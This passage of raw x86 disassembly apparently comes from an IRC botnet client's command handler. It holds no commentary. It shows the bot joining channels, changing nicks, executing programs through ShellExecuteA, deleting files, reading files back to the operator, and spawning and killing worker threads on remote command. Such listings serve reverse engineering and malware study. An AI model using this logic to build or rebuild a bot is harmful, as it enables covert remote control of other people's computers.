loc_410CC4:				; CODE XREF: sub_40CE55+3E57j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434648
		jmp	loc_40F704
; ---------------------------------------------------------------------------


loc_410CD5:				; CODE XREF: sub_40CE55+3D1Dj
		push	offset unk_4345F0
		jmp	loc_410B43
; ---------------------------------------------------------------------------


loc_410CDF:				; CODE XREF: sub_40CE55+23B4j
					; sub_40CE55+23CBj
		push	[ebp+var_90]
		push	offset dword_43646C
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D219
		cmp	[ebp+var_C], ebx
		jz	loc_40D219
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_4345E0
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416D40
		push	edi
		call	sub_415A5F
		add	esp, 30h
		test	eax, eax
		jle	short loc_410D66
		push	edi
		call	sub_415A5F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_421060	; Sleep


loc_410D66:				; CODE XREF: sub_40CE55+3EFBj
		push	offset dword_4345B8
		call	sub_40B16D
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40D21C
; ---------------------------------------------------------------------------


loc_410D7A:				; CODE XREF: sub_40CE55+2386j
					; sub_40CE55+239Dj
		push	[ebp+var_90]
		push	offset dword_43646C
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D219
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_415910
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_410E36
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_4345E0
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_2C8]
		push	offset dword_434584
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		push	edi
		call	sub_415A5F
		add	esp, 38h
		test	eax, eax
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40D21C
; ---------------------------------------------------------------------------


loc_410E36:				; CODE XREF: sub_40CE55+3F6Aj
		push	offset dword_43453C
		jmp	loc_40F704
; ---------------------------------------------------------------------------


loc_410E40:				; CODE XREF: sub_40CE55+2358j
					; sub_40CE55+236Fj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C8]
		push	offset dword_434534
		push	eax
		call	sub_4154E7
		push	edi
		call	sub_415A5F
		add	esp, 10h


loc_410E5D:				; CODE XREF: sub_40CE55+4072j
		test	eax, eax
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E


loc_410E77:				; CODE XREF: sub_40CE55+4907j
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F534[eax]
		call	sub_412D06


loc_410E9B:				; CODE XREF: sub_40CE55+579Ej
		add	esp, 0Ch
		jmp	loc_41298E
; ---------------------------------------------------------------------------


loc_410EA3:				; CODE XREF: sub_40CE55+232Aj
					; sub_40CE55+2341j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C8]
		push	[ebp+arg_18]
		push	offset dword_434528
		push	eax
		call	sub_4154E7
		push	edi
		call	sub_415A5F
		add	esp, 14h
		jmp	short loc_410E5D
; ---------------------------------------------------------------------------


loc_410EC9:				; CODE XREF: sub_40CE55+22FCj
					; sub_40CE55+2313j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C8]
		push	offset dword_434520
		push	eax
		call	sub_4154E7
		push	edi
		call	sub_415A5F
		add	esp, 10h
		test	eax, eax
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F534[eax]
		call	sub_412D06
		push	[ebp+arg_18]
		push	edi
		push	offset dword_4344F0


loc_410F2D:				; CODE XREF: sub_40CE55+4162j
					; sub_40CE55+41CDj ...
		call	sub_40B1E1


loc_410F32:				; CODE XREF: sub_40CE55+546Ej
		add	esp, 18h
		jmp	loc_41298E
; ---------------------------------------------------------------------------


loc_410F3A:				; CODE XREF: sub_40CE55+22CEj
					; sub_40CE55+22E5j
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_410F6B
		push	esi
		lea	eax, [ebp+var_2C8]
		push	offset dword_4344E8
		push	eax
		call	sub_4154E7
		add	esp, 0Ch


loc_410F6B:				; CODE XREF: sub_40CE55+40FFj
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F534[eax]
		call	sub_412D06
		push	esi
		push	edi
		push	offset dword_4344B8
		jmp	loc_410F2D
; ---------------------------------------------------------------------------


loc_410FBC:				; CODE XREF: sub_40CE55+22A0j
					; sub_40CE55+22B7j
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41298E
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		push	esi
		push	offset dword_425050
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F534[eax]
		call	sub_412D06
		push	esi
		push	edi
		push	offset dword_434488
		jmp	loc_410F2D
; ---------------------------------------------------------------------------


loc_411027:				; CODE XREF: sub_40CE55+2272j
					; sub_40CE55+2289j
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41298E
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	esi
		push	offset dword_43444C


loc_411059:				; CODE XREF: sub_40CE55+4AACj
					; sub_40CE55+4AC5j ...
		call	sub_40B1E1


loc_41105E:				; CODE XREF: sub_40CE55+4272j
		add	esp, 14h
		jmp	loc_41298E
; ---------------------------------------------------------------------------


loc_411066:				; CODE XREF: sub_40CE55+2244j
					; sub_40CE55+225Bj
		push	[ebp+var_90]
		push	offset dword_43646C
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D219
		push	[ebp+arg_18]
		push	offset dword_434440
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		call	sub_415A5F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_421060	; Sleep
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	offset dword_434418
		call	sub_40B16D
		jmp	short loc_41105E
; ---------------------------------------------------------------------------


loc_4110C9:				; CODE XREF: sub_40CE55+2216j
					; sub_40CE55+222Dj
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		call	sub_415CF0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415CF0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AC0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_41298E
		push	esi
		lea	eax, [ebp+var_2C8]
		push	offset dword_434CB0
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_412D4C
		push	esi
		push	edi
		push	offset dword_4343E8
		call	sub_40B1E1
		add	esp, 2Ch
		jmp	loc_41298E
; ---------------------------------------------------------------------------


loc_411137:				; CODE XREF: sub_40CE55+21E8j
					; sub_40CE55+21FFj
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		call	sub_415CF0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415CF0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AC0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_41298E
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_412D4C
		push	esi
		push	edi
		push	offset dword_4343B8
		call	sub_40B1E1
		jmp	loc_40FD65
; ---------------------------------------------------------------------------


loc_41118A:				; CODE XREF: sub_40CE55+21BAj
					; sub_40CE55+21D1j
		cmp	[ebp+var_C], ebx
		jz	loc_40D219
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D219
		push	eax
		push	edi
		call	sub_40B075
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset dword_434388
		push	eax
		call	sub_4154E7


loc_4111C1:				; CODE XREF: sub_40CE55+3B44j
		add	esp, 14h
		jmp	loc_40F7B1
; ---------------------------------------------------------------------------


loc_4111C9:				; CODE XREF: sub_40CE55+217Aj
					; sub_40CE55+2191j
		push	edi
		push	[ebp+arg_1C]
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41298E
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_411266
		push	esi
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41124E
		push	esi
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_4345E0
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416D40
		push	esi
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset dword_434350
		push	eax
		call	sub_4154E7
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_4124D6
; ---------------------------------------------------------------------------


loc_41124E:				; CODE XREF: sub_40CE55+43A1j
		lea	eax, [ebp+var_2C8]
		push	offset dword_43430C
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_4124D6
; ---------------------------------------------------------------------------


loc_411266:				; CODE XREF: sub_40CE55+4390j
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40AD85
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		push	edi
		push	offset dword_4342E0
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 24h
		jmp	loc_4124D6
; ---------------------------------------------------------------------------


loc_4112AD:				; CODE XREF: sub_40CE55+1B7Fj
					; sub_40CE55+1B96j
		push	offset aR	; "r"
		push	edi
		call	sub_415BE8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_411327
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		call	sub_41713C
		add	esp, 0Ch


loc_4112D6:				; CODE XREF: sub_40CE55+44B0j
		test	eax, eax
		jz	short loc_411307
		push	1
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		push	esi
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		call	sub_41713C
		add	esp, 20h
		jmp	short loc_4112D6
; ---------------------------------------------------------------------------


loc_411307:				; CODE XREF: sub_40CE55+4483j
		push	esi
		call	sub_415B40
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset dword_4342A8
		push	eax
		call	sub_4154E7
		add	esp, 10h
		jmp	loc_40EFA7
; ---------------------------------------------------------------------------


loc_411327:				; CODE XREF: sub_40CE55+4469j
		push	edi
		push	offset dword_434274
		jmp	loc_412869
; ---------------------------------------------------------------------------


loc_411332:				; CODE XREF: sub_40CE55+1B51j
					; sub_40CE55+1B68j
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41298E
		push	offset asc_426CB4 ; "\n"
		push	esi
		call	sub_415C10
		push	esi
		call	sub_40A5E9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_411372
		push	offset dword_434234
		jmp	loc_410B43
; ---------------------------------------------------------------------------


loc_411372:				; CODE XREF: sub_40CE55+4511j
		push	esi
		push	offset dword_434208
		jmp	loc_4124C7
; ---------------------------------------------------------------------------


loc_41137D:				; CODE XREF: sub_40CE55+1B23j
					; sub_40CE55+1B3Aj
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_41298E
		push	eax
		call	sub_409CCD
		test	eax, eax
		pop	ecx
		jnz	short loc_4113AE
		push	offset unk_4341D8
		jmp	loc_410B43
; ---------------------------------------------------------------------------


loc_4113AE:				; CODE XREF: sub_40CE55+454Dj
		push	offset dword_4341A8
		jmp	loc_410B43
; ---------------------------------------------------------------------------


loc_4113B8:				; CODE XREF: sub_40CE55+1AF5j
					; sub_40CE55+1B0Cj
		push	7Fh
		lea	eax, [ebp+var_6F4]
		push	edi
		push	eax
		call	sub_416D40
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4113E7
		push	7Fh
		lea	eax, [ebp+var_674]
		push	esi
		push	eax
		call	sub_416D40
		add	esp, 0Ch


loc_4113E7:				; CODE XREF: sub_40CE55+457Ej
		push	7Fh
		lea	eax, [ebp+var_5F4]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_6F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_43417C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	14h
		push	eax
		call	sub_414F93
		add	esp, 24h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F8]
		push	ebx
		push	eax
		push	offset sub_40AE4B
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_411485


loc_41146F:				; CODE XREF: sub_40CE55+462Ej
		cmp	[ebp+var_568], ebx
		jnz	loc_4124D6
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_41146F
; ---------------------------------------------------------------------------


loc_411485:				; CODE XREF: sub_40CE55+4618j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43412C
		jmp	loc_4124C7
; ---------------------------------------------------------------------------


loc_411496:				; CODE XREF: sub_40CE55+1AC7j
					; sub_40CE55+1ADEj
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_4063B0
		push	edi
		push	offset dword_434104
		jmp	loc_410F2D
; ---------------------------------------------------------------------------


loc_4114B1:				; CODE XREF: sub_40CE55+1A99j
					; sub_40CE55+1AB0j
		push	14h
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		call	sub_415570
		push	edi
		lea	eax, [ebp+var_6FC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_718], eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_5F8]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_5F8]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_4340CC
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	12h
		push	eax
		call	sub_414F93
		add	esp, 40h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_718]
		push	ebx
		push	eax
		push	offset sub_40B712
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_411581


loc_41156B:				; CODE XREF: sub_40CE55+472Aj
		cmp	[ebp+var_568], ebx
		jnz	loc_41284E
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_41156B
; ---------------------------------------------------------------------------


loc_411581:				; CODE XREF: sub_40CE55+4714j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_43636C
		jmp	loc_41283F
; ---------------------------------------------------------------------------


loc_411592:				; CODE XREF: sub_40CE55+1A6Bj
					; sub_40CE55+1A82j
		push	edi
		call	dword_421118	; DeleteFileA
		test	eax, eax
		jz	short loc_4115A5
		push	edi
		push	offset dword_43409C
		jmp	short loc_4115B0
; ---------------------------------------------------------------------------


loc_4115A5:				; CODE XREF: sub_40CE55+4746j
		push	offset dword_4347DC
		call	sub_409C08
		push	eax


loc_4115B0:				; CODE XREF: sub_40CE55+474Ej
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		jmp	loc_40EF86
; ---------------------------------------------------------------------------


loc_4115C9:				; CODE XREF: sub_40CE55+1A3Dj
					; sub_40CE55+1A54j
		push	edi
		call	sub_415A5F
		push	eax
		call	sub_414061
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4115E6
		push	offset dword_434064
		jmp	short loc_4115EB
; ---------------------------------------------------------------------------


loc_4115E6:				; CODE XREF: sub_40CE55+4788j
		push	offset dword_43401C


loc_4115EB:				; CODE XREF: sub_40CE55+478Fj
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_40EFAA
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h
		jmp	loc_40EFAA
; ---------------------------------------------------------------------------


loc_411624:				; CODE XREF: sub_40CE55+1A0Fj
					; sub_40CE55+1A26j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_413DD2
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_411646
		push	offset dword_433FE4
		jmp	loc_412869
; ---------------------------------------------------------------------------


loc_411646:				; CODE XREF: sub_40CE55+47E5j
		push	offset dword_433FA0
		jmp	loc_412869
; ---------------------------------------------------------------------------


loc_411650:				; CODE XREF: sub_40CE55+19E1j
					; sub_40CE55+19F8j
		push	edi
		call	dword_43A3D8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_41168D
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_43A350	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_4116A8
		push	dword ptr [eax]


loc_411673:				; CODE XREF: sub_40CE55+4851j
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset dword_433F70
		push	eax
		call	sub_4154E7
		add	esp, 10h
		jmp	loc_40F713
; ---------------------------------------------------------------------------


loc_41168D:				; CODE XREF: sub_40CE55+4808j
		push	edi
		call	dword_43A41C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_4116A8
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_43A424	; inet_ntoa
		push	eax
		jmp	short loc_411673
; ---------------------------------------------------------------------------


loc_4116A8:				; CODE XREF: sub_40CE55+481Aj
					; sub_40CE55+4841j
		push	offset dword_433F34
		jmp	loc_410B43
; ---------------------------------------------------------------------------


loc_4116B2:				; CODE XREF: sub_40CE55+19B3j
					; sub_40CE55+19CAj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_416D40
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset dword_433EFC
		push	eax
		call	sub_4154E7
		add	esp, 18h
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------


loc_4116D7:				; CODE XREF: sub_40CE55+1985j
					; sub_40CE55+199Cj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43A30C	; ShellExecuteA
		test	eax, eax
		push	edi
		jz	short loc_4116F7
		push	offset unk_433ECC
		jmp	loc_412869
; ---------------------------------------------------------------------------


loc_4116F7:				; CODE XREF: sub_40CE55+4896j
		push	offset unk_433E94
		jmp	loc_412869
; ---------------------------------------------------------------------------


loc_411701:				; CODE XREF: sub_40CE55+1957j
					; sub_40CE55+196Ej
		mov	al, [edi]
		mov	byte_42C19C, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_433E5C
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------


loc_411716:				; CODE XREF: sub_40CE55+1929j
					; sub_40CE55+1940j
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		call	sub_414433
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_434520
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		jmp	loc_410E77
; ---------------------------------------------------------------------------


loc_411761:				; CODE XREF: sub_40CE55+18FBj
					; sub_40CE55+1912j
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_40D219
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40D219
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F534[eax]
		call	sub_412D06
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_421060	; Sleep
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F534[eax]
		call	dword_43A430	; closesocket
		push	[ebp+var_10]
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F53C[eax]
		call	dword_421130	; TerminateThread
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		push	edi
		mov	dword_43F53C[eax], ebx
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43F328[eax], bl
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_41180C:				; CODE XREF: sub_40CE55+18CDj
					; sub_40CE55+18E4j
		push	edi
		push	offset aAll	; "all"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41183B
		call	sub_41515C
		cmp	eax, ebx
		jle	short loc_411831
		push	eax
		push	offset dword_433E0C
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------


loc_411831:				; CODE XREF: sub_40CE55+49CFj
		push	offset dword_433DD0
		jmp	loc_41202C
; ---------------------------------------------------------------------------


loc_41183B:				; CODE XREF: sub_40CE55+49C6j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40D219
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax


loc_411857:				; CODE XREF: sub_40CE55+4A73j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40D219
		push	esi
		call	sub_415A5F
		push	eax
		call	sub_4150CE
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41187E
		push	offset dword_433D98
		jmp	short loc_411883
; ---------------------------------------------------------------------------


loc_41187E:				; CODE XREF: sub_40CE55+4A20j
		push	offset dword_433D58


loc_411883:				; CODE XREF: sub_40CE55+4A27j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4118B3
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h


loc_4118B3:				; CODE XREF: sub_40CE55+4A40j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_411857
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_4118CF:				; CODE XREF: sub_40CE55+189Fj
					; sub_40CE55+18B6j
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41298E
		push	esi
		push	offset dword_425050
		push	[ebp+arg_4]
		call	sub_412D06
		push	esi
		push	offset dword_433D2C
		jmp	loc_411059
; ---------------------------------------------------------------------------


loc_411906:				; CODE XREF: sub_40CE55+1871j
					; sub_40CE55+1888j
		push	edi
		push	offset dword_434440
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		push	offset dword_433CF8
		jmp	loc_411059
; ---------------------------------------------------------------------------


loc_41191F:				; CODE XREF: sub_40CE55+1843j
					; sub_40CE55+185Aj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		push	offset dword_433CC4
		jmp	loc_410F2D
; ---------------------------------------------------------------------------


loc_41193F:				; CODE XREF: sub_40CE55+1815j
					; sub_40CE55+182Cj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		push	offset dword_433C8C
		jmp	loc_411059
; ---------------------------------------------------------------------------


loc_411958:				; CODE XREF: sub_40CE55+17DAj
					; sub_40CE55+17EFj
		mov	al, byte_4276A2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4276A2
		jz	loc_40D219
		mov	ecx, edx


loc_41196F:				; CODE XREF: sub_40CE55+4B22j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_41196F
		cmp	al, bl
		jz	loc_40D219
		mov	[ebp+arg_18], edx


loc_411984:				; CODE XREF: sub_40CE55+4DE9j
		push	8
		call	sub_4151DB
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 12Ch
		jle	short loc_4119D3
		push	ecx
		lea	eax, [ebp+var_2C8]
		push	offset dword_434DE0
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 20h
		jmp	loc_411C35
; ---------------------------------------------------------------------------


loc_4119D3:				; CODE XREF: sub_40CE55+4B49j
		or	[ebp+var_300], 0FFFFFFFFh
		cmp	dword_427338, ebx
		mov	[ebp+var_304], 64h
		mov	[ebp+var_318], 5
		mov	[ebp+var_314], ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_411A40
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_427338
		lea	esi, [eax-0Ah]


loc_411A0A:				; CODE XREF: sub_40CE55+4BCDj
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411A26
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_411A0A
		jmp	short loc_411A40
; ---------------------------------------------------------------------------


loc_411A26:				; CODE XREF: sub_40CE55+4BC3j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_300], eax
		imul	ecx, 3Ch
		mov	ecx, dword_427338[ecx]
		mov	[ebp+var_31C], ecx


loc_411A40:				; CODE XREF: sub_40CE55+4BA8j
